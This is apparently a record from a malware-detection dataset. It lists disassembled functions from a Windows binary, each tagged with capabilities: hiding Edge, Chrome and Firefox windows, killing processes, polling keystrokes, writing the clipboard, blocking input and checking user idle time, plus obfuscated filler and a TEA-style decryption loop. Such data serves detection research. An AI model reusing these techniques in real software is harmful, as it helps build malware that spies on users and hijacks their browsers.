joyce8/EMBER2024-capa huggingface dataset:
Function at 0x80eac0
Capabilities:
Delete directory
Get common file path
Manipulate console buffer

Disassembly:
sub esp, 0xc0c
cmp dword [0xb9a114], 0x37
jne 0x80eb67
mov eax, dword [esp]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualLock]
mov ecx, dword [esp]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
push 0
lea edx, [esp + 0x410]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea eax, [esp + 8]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea ecx, [esp + 4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
push 0
lea edx, [esp + 0x10]
push edx
push 0
push 0x404130
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
mov eax, dword [0xb9b108]
mov dword [esp], eax
mov eax, 0x5d1
add dword [esp], eax
mov ecx, dword [esp]
mov dl, byte [ecx + esi]
mov eax, dword [0x81b164]
mov byte [eax + esi], dl
add esp, 0xc0c
ret
Function at 0x80ed60
Capabilities:
Manipulate console buffer
Move file

Disassembly:
mov eax, dword [0xb9a114]
sub esp, 0x9d4
push ebx
push ebp
push esi
shr eax, 3
xor esi, esi
push edi
mov edi, dword [0x81b164]
cmp eax, esi
jbe 0x80ef3e
mov dword [esp + 0x1c], edi
mov dword [esp + 0x24], eax
jmp 0x80ed96
mov edi, dword [esp + 0x1c]
xor esi, esi
cmp dword [0xb9a114], 0x1c
jne 0x80edb1
lea eax, [esp + 0x40]
push eax
push esi
lea ecx, [esp + 0x4c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov edx, dword [0x8146f8]
mov eax, dword [0x8146fc]
mov ecx, dword [0x814700]
mov ebx, dword [edi]
mov edi, dword [edi + 4]
mov dword [esp + 0x2c], edx
mov edx, dword [0x814704]
mov ebp, 0xc6ef3720
mov dword [esp + 0x34], eax
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x38], edx
mov dword [esp + 0x20], 0x20
jmp 0x80edf2
xor esi, esi
mov ecx, ebx
shl ecx, 4
add ecx, dword [esp + 0x3c]
mov eax, ebx
shr eax, 5
add eax, dword [esp + 0x38]
lea edx, [ebx + ebp]
xor ecx, edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
mov dword [0xb9a084], esi
mov eax, dword [esp + 0x18]
add dword [0xb9a084], eax
mov eax, dword [0xb9a084]
mov dword [esp + 0x28], eax
mov dword [esp + 0x18], esi
mov eax, dword [esp + 0x28]
add dword [esp + 0x18], eax
mov eax, dword [esp + 0x14]
xor eax, dword [esp + 0x18]
mov dword [esp + 0x18], eax
sub edi, dword [esp + 0x18]
mov ecx, edi
shl ecx, 4
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x2c]
add dword [esp + 0x14], eax
cmp dword [0xb9a114], 0x1be
jne 0x80ee71
lea edx, [esp + 0x30]
push edx
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov esi, edi
shr esi, 5
add esi, dword [esp + 0x34]
cmp dword [0xb9a114], 0x979
mov dword [0xb9a088], 0xff6b3619
mov dword [0xb9a08c], 0xffffffff
jne 0x80eec3
mov eax, dword [esp + 0x30]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push 0
lea ecx, [esp + 0x1e4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea eax, [edi + ebp]
xor esi, eax
mov eax, dword [esp + 0x14]
xor eax, esi
sub ebx, eax
add ebp, 0x61c88647
dec dword [esp + 0x20]
mov dword [esp + 0x14], eax
jne 0x80edf0
cmp dword [0xb9a114], 0x8d4
jne 0x80eefb
lea edx, [esp + 0x58]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov esi, dword [esp + 0x1c]
mov dword [esi], ebx
mov dword [esi + 4], edi
cmp dword [0xb9a114], 0x17
jne 0x80ef2d
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
lea eax, [esp + 0xa0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
add esi, 8
dec dword [esp + 0x24]
mov dword [esp + 0x1c], esi
jne 0x80ed90
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x9d4
ret
Function at 0x401b10
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x442665
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x459004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x58]
call fcn.00401a60
lea eax, [ebp - 0x58]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x40]
call fcn.004094e0
mov ecx, eax
cmp dword [eax + 0x14], 8
jb 0x401b5e
mov ecx, dword [eax]
mov edx, dword [eax + 0x10]
push 2
sub esp, 8
call fcn.004099f0
mov ecx, dword [ebp - 0x2c]
add esp, 0xc
mov esi, eax
cmp ecx, 8
jb 0x401baa
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401ba0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401cce
push ecx
push edx
call fcn.0040a3d8
add esp, 8
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x40]
call fcn.004094e0
mov byte [ebp - 4], 1
xorps xmm0, xmm0
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
cmp dword [eax + 0x10], esi
cmovb esi, dword [eax + 0x10]
cmp dword [eax + 0x14], 8
jb 0x401bde
mov eax, dword [eax]
push esi
push eax
lea ecx, [ebp - 0x28]
call fcn.00409b40
mov ecx, dword [ebp - 0x2c]
cmp ecx, 8
jb 0x401c22
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401c18
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401cd3
push ecx
push edx
call fcn.0040a3d8
add esp, 8
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov ecx, dword [ebp - 0x14]
cmp ecx, 8
jb 0x401c6a
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401c60
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401cd8
push ecx
push edx
call fcn.0040a3d8
add esp, 8
mov ecx, dword [ebp - 0x44]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp ecx, 8
jb 0x401cb4
mov edx, dword [ebp - 0x58]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401caa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401cd8
push ecx
push edx
call fcn.0040a3d8
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040a3ca
mov esp, ebp
pop ebp
ret
call fcn.0042731b
call fcn.0042731b
call fcn.0042731b
int3
Function at 0x401f30
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x459004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x230], 0x22c
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x401fc7
push esi
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.0042a969
add esp, 8
test eax, eax
jne 0x401fb4
push dword [ebp - 0x228]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x401fb4
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x401f74
pop esi
push edi
call ebx
mov ecx, dword [ebp + 0x1c]
pop edi
pop ebx
cmp ecx, 8
jb 0x402002
mov edx, dword [ebp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401ff8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402010
push ecx
push edx
call fcn.0040a3d8
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a3ca
mov esp, ebp
pop ebp
ret
call fcn.0042731b
int3
Function at 0x402290
Capabilities:
Get graphical window text
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2008
call fcn.00442050
mov eax, dword [0x459004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.USER32.dll_FindWindowExW]
push esi
push 0
push 0x451494
push 0
push 0
mov dword [ebp - 0x2008], ecx
call ebx
push 0x2000
mov esi, eax
lea eax, [ebp - 0x2004]
push 0
push eax
call fcn.00423e40
add esp, 0xc
test esi, esi
je 0x402391
push edi
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
nop dword [eax]
push 0xfff
lea eax, [ebp - 0x2004]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x2004]
push str._Edge
push eax
call fcn.0042396b
add esp, 8
test eax, eax
je 0x40237a
mov eax, dword [0x45b8fc]
test eax, eax
je 0x40232f
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x402335
mov dword [0x45b8fc], esi
cmp dword [ebp - 0x2008], 0
je 0x402375
push 0
push esi
call edi
push 0xffffffffffffffec
push esi
call dword [sym.imp.USER32.dll_GetWindowLongW]
and eax, 0xfffbffff
push eax
push 0xffffffffffffffec
push esi
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0xffffffffffffffec
push esi
call dword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80
push eax
push 0xffffffffffffffec
push esi
call dword [sym.imp.USER32.dll_SetWindowLongW]
jmp 0x40237a
push 3
push esi
call edi
push 0
push 0x451494
push esi
push 0
call ebx
mov esi, eax
test esi, esi
jne 0x4022f0
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a3ca
mov esp, ebp
pop ebp
ret
Function at 0x4023b0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2008
call fcn.00442050
mov eax, dword [0x459004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 0x451494
push 0
push 0
mov dword [ebp - 0x2008], ecx
call dword [sym.imp.USER32.dll_FindWindowExW]
push 0x2000
mov esi, eax
lea eax, [ebp - 0x2004]
push 0
push eax
call fcn.00423e40
add esp, 0xc
test esi, esi
je 0x4024f3
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetWindowLongW]
push edi
mov edi, dword [sym.imp.USER32.dll_SetWindowLongW]
nop dword [eax]
push 0xfff
lea eax, [ebp - 0x2004]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov eax, str._Edge
lea ecx, [ebp - 0x2004]
nop
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x402456
test dx, dx
je 0x402452
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x402456
add ecx, 4
add eax, 4
test dx, dx
jne 0x402430
xor eax, eax
jmp 0x40245b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x402479
mov eax, dword [0x45b8fc]
test eax, eax
je 0x402473
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x402479
mov dword [0x45b8fc], esi
cmp dword [ebp - 0x2008], 0
je 0x4024a7
push 0xffffffffffffffec
push esi
call ebx
or eax, 0x80000
push eax
push 0xffffffffffffffec
push esi
call edi
movzx eax, byte [0x459a50]
push 2
push eax
push 0
push esi
call dword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
jmp 0x4024d7
push 2
push 0xff
push 0
push esi
call dword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
push 0xffffffffffffffec
push esi
call ebx
or eax, 0x40000
push eax
push 0xffffffffffffffec
push esi
call edi
push 0xffffffffffffffec
push esi
call ebx
and eax, 0xffffff7f
push eax
push 0xffffffffffffffec
push esi
call edi
push 0
push 0x451494
push esi
push 0
call dword [sym.imp.USER32.dll_FindWindowExW]
mov esi, eax
test esi, esi
jne 0x402410
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0040a3ca
mov esp, ebp
pop ebp
ret
Function at 0x402510
Capabilities:
Get graphical window text
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2008
call fcn.00442050
mov eax, dword [0x459004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.USER32.dll_FindWindowExW]
push esi
push 0
push 0x451494
push 0
push 0
mov dword [ebp - 0x2008], ecx
call ebx
push 0x2000
mov esi, eax
lea eax, [ebp - 0x2004]
push 0
push eax
call fcn.00423e40
add esp, 0xc
test esi, esi
je 0x402611
push edi
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
nop dword [eax]
push 0xfff
lea eax, [ebp - 0x2004]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x2004]
push str._Google_Chrome
push eax
call fcn.0042396b
add esp, 8
test eax, eax
je 0x4025fa
mov eax, dword [0x45b8fc]
test eax, eax
je 0x4025af
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x4025b5
mov dword [0x45b8fc], esi
cmp dword [ebp - 0x2008], 0
je 0x4025f5
push 0
push esi
call edi
push 0xffffffffffffffec
push esi
call dword [sym.imp.USER32.dll_GetWindowLongW]
and eax, 0xfffbffff
push eax
push 0xffffffffffffffec
push esi
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0xffffffffffffffec
push esi
call dword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80
push eax
push 0xffffffffffffffec
push esi
call dword [sym.imp.USER32.dll_SetWindowLongW]
jmp 0x4025fa
push 3
push esi
call edi
push 0
push 0x451494
push esi
push 0
call ebx
mov esi, eax
test esi, esi
jne 0x402570
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a3ca
mov esp, ebp
pop ebp
ret
Function at 0x402630
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2008
call fcn.00442050
mov eax, dword [0x459004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 0x451494
push 0
push 0
mov dword [ebp - 0x2008], ecx
call dword [sym.imp.USER32.dll_FindWindowExW]
push 0x2000
mov esi, eax
lea eax, [ebp - 0x2004]
push 0
push eax
call fcn.00423e40
add esp, 0xc
test esi, esi
je 0x402773
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetWindowLongW]
push edi
mov edi, dword [sym.imp.USER32.dll_SetWindowLongW]
nop dword [eax]
push 0xfff
lea eax, [ebp - 0x2004]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov eax, str._Google_Chrome
lea ecx, [ebp - 0x2004]
nop
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x4026d6
test dx, dx
je 0x4026d2
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x4026d6
add ecx, 4
add eax, 4
test dx, dx
jne 0x4026b0
xor eax, eax
jmp 0x4026db
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4026f9
mov eax, dword [0x45b8fc]
test eax, eax
je 0x4026f3
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x4026f9
mov dword [0x45b8fc], esi
cmp dword [ebp - 0x2008], 0
je 0x402727
push 0xffffffffffffffec
push esi
call ebx
or eax, 0x80000
push eax
push 0xffffffffffffffec
push esi
call edi
movzx eax, byte [0x459a50]
push 2
push eax
push 0
push esi
call dword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
jmp 0x402757
push 2
push 0xff
push 0
push esi
call dword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
push 0xffffffffffffffec
push esi
call ebx
or eax, 0x40000
push eax
push 0xffffffffffffffec
push esi
call edi
push 0xffffffffffffffec
push esi
call ebx
and eax, 0xffffff7f
push eax
push 0xffffffffffffffec
push esi
call edi
push 0
push 0x451494
push esi
push 0
call dword [sym.imp.USER32.dll_FindWindowExW]
mov esi, eax
test esi, esi
jne 0x402690
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0040a3ca
mov esp, ebp
pop ebp
ret
Function at 0x402790
Capabilities:
Get graphical window text
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2008
call fcn.00442050
mov eax, dword [0x459004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push str.MozillaWindowClass
push 0
push 0
mov dword [ebp - 0x2008], ecx
call dword [sym.imp.USER32.dll_FindWindowExW]
push 0x2000
mov esi, eax
lea eax, [ebp - 0x2004]
push 0
push eax
call fcn.00423e40
add esp, 0xc
test esi, esi
je 0x4028b2
push ebx
mov ebx, dword [sym.imp.USER32.dll_SetWindowLongW]
push edi
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
nop dword [eax]
push 0xfff
lea eax, [ebp - 0x2004]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov eax, str.Mozilla_Firefox
lea ecx, [ebp - 0x2004]
nop
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x402836
test dx, dx
je 0x402832
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x402836
add ecx, 4
add eax, 4
test dx, dx
jne 0x402810
xor eax, eax
jmp 0x40283b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x402859
mov eax, dword [0x45b8fc]
test eax, eax
je 0x402853
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x402859
mov dword [0x45b8fc], esi
cmp dword [ebp - 0x2008], 0
je 0x402891
push 0
push esi
call edi
push 0xffffffffffffffec
push esi
call dword [sym.imp.USER32.dll_GetWindowLongW]
and eax, 0xfffbffff
push eax
push 0xffffffffffffffec
push esi
call ebx
push 0xffffffffffffffec
push esi
call dword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80
push eax
push 0xffffffffffffffec
push esi
call ebx
jmp 0x402896
push 3
push esi
call edi
push 0
push str.MozillaWindowClass
push esi
push 0
call dword [sym.imp.USER32.dll_FindWindowExW]
mov esi, eax
test esi, esi
jne 0x4027f0
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0040a3ca
mov esp, ebp
pop ebp
ret
Function at 0x4028d0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2008
call fcn.00442050
mov eax, dword [0x459004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push str.MozillaWindowClass
push 0
push 0
mov dword [ebp - 0x2008], ecx
call dword [sym.imp.USER32.dll_FindWindowExW]
push 0x2000
mov esi, eax
lea eax, [ebp - 0x2004]
push 0
push eax
call fcn.00423e40
add esp, 0xc
test esi, esi
je 0x402a13
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetWindowLongW]
push edi
mov edi, dword [sym.imp.USER32.dll_SetWindowLongW]
nop dword [eax]
push 0xfff
lea eax, [ebp - 0x2004]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov eax, str.Firefox
lea ecx, [ebp - 0x2004]
nop
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x402976
test dx, dx
je 0x402972
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x402976
add ecx, 4
add eax, 4
test dx, dx
jne 0x402950
xor eax, eax
jmp 0x40297b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x402999
mov eax, dword [0x45b8fc]
test eax, eax
je 0x402993
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x402999
mov dword [0x45b8fc], esi
cmp dword [ebp - 0x2008], 0
je 0x4029c7
push 0xffffffffffffffec
push esi
call ebx
or eax, 0x80000
push eax
push 0xffffffffffffffec
push esi
call edi
movzx eax, byte [0x459a50]
push 2
push eax
push 0
push esi
call dword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
jmp 0x4029f7
push 2
push 0xff
push 0
push esi
call dword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
push 0xffffffffffffffec
push esi
call ebx
or eax, 0x40000
push eax
push 0xffffffffffffffec
push esi
call edi
push 0xffffffffffffffec
push esi
call ebx
and eax, 0xffffff7f
push eax
push 0xffffffffffffffec
push esi
call edi
push 0
push str.MozillaWindowClass
push esi
push 0
call dword [sym.imp.USER32.dll_FindWindowExW]
mov esi, eax
test esi, esi
jne 0x402930
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0040a3ca
mov esp, ebp
pop ebp
ret
Function at 0x403fd0
Capabilities:
Log keystrokes via polling
Open clipboard

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x459004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [0x45b8fc]
mov dword [0x45b9bc], 1
mov dword [0x45b9c0], 1
push edi
test esi, esi
je 0x40403c
push esi
call dword [sym.imp.USER32.dll_IsWindow]
mov edi, dword [sym.imp.USER32.dll_PostMessageW]
test eax, eax
je 0x404028
push 0
push 0
push 0x10
push esi
call edi
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x40403c
push 0
push 0
push 2
push esi
call edi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [sym.imp.USER32.dll_GetKeyboardState]
lea eax, [ebp - 0x104]
push eax
call esi
test byte [ebp - 0xf3], 1
mov edi, dword [sym.imp.USER32.dll_SendInput]
je 0x4040a9
mov eax, 0x11
mov dword [ebp - 0x120], 1
mov word [ebp - 0x11a], ax
lea eax, [ebp - 0x120]
push 0x1c
push eax
push 1
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x118], 2
call edi
lea eax, [ebp - 0x104]
push eax
call esi
test byte [ebp - 0xf4], 1
je 0x4040fc
mov eax, 0x10
mov dword [ebp - 0x120], 1
mov word [ebp - 0x11a], ax
lea eax, [ebp - 0x120]
push 0x1c
push eax
push 1
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x118], 2
call edi
lea eax, [ebp - 0x104]
push eax
call esi
test byte [ebp - 0xf2], 1
je 0x40414f
mov eax, 0x12
mov dword [ebp - 0x120], 1
mov word [ebp - 0x11a], ax
lea eax, [ebp - 0x120]
push 0x1c
push eax
push 1
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x118], 2
call edi
push 0
call dword [sym.imp.USER32.dll_BlockInput]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0040a3ca
mov esp, ebp
pop ebp
ret

Function at 0x404270
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push esi
mov esi, edx
mov ecx, esi
push edi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404280
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push 0x2042
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub eax, esi
nop dword [eax]
movzx ecx, word [esi]
lea esi, [esi + 2]
mov word [eax + esi - 2], cx
test cx, cx
jne 0x4042b0
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push edi
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
pop edi
pop esi
jmp dword [sym.imp.USER32.dll_CloseClipboard]
Function at 0x406ce0
Capabilities:
Get session information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
sub esp, 0x34
fld qword [0x453cd8]
push ebx
push esi
push edi
sub esp, 8
fstp qword [esp]
call fcn.004423c0
fstp qword [esp + 0x40]
cvttsd2si edi, qword [esp + 0x40]
add esp, 8
test edi, edi
jle 0x406deb
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov ebx, eax
mov dword [esp + 0x38], 8
lea eax, [esp + 0x38]
xor esi, esi
push eax
mov dword [esp + 0x40], esi
call dword [sym.imp.USER32.dll_GetLastInputInfo]
test eax, eax
je 0x406d3d
mov esi, ebx
sub esi, dword [esp + 0x3c]
mov eax, 0x10624dd3
sub esp, 8
mul esi
shr edx, 6
movd xmm0, edx
cvtdq2pd xmm0, xmm0
shr edx, 0x1f
addsd xmm0, qword [edx*8 + 0x453cf0]
movsd qword [esp + 0x38], xmm0
fld qword [esp + 0x38]
fstp qword [esp]
call fcn.004423c0
fstp qword [esp + 0x38]
movsd xmm0, qword [esp + 0x38]
add esp, 8
comisd xmm0, xmmword [0x453cd0]
jb 0x406dd7
mov dword [esp + 0x30], 0
or esi, 0xffffffff
mov dword [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
lea ecx, [esp + 0x2c]
push ecx
lea ecx, [esp + 0x34]
push ecx
push 0x19
push eax
push 0
call dword [sym.imp.WTSAPI32.dll_WTSQuerySessionInformationW]
test eax, eax
je 0x406df4
cmp dword [esp + 0x2c], 0
mov eax, dword [esp + 0x30]
jbe 0x406dcc
cmp dword [eax], 1
jne 0x406dcc
mov esi, dword [eax + 0x10]
push eax
call dword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
test esi, esi
jne 0x406df4
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
dec edi
test edi, edi
jg 0x406d12
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret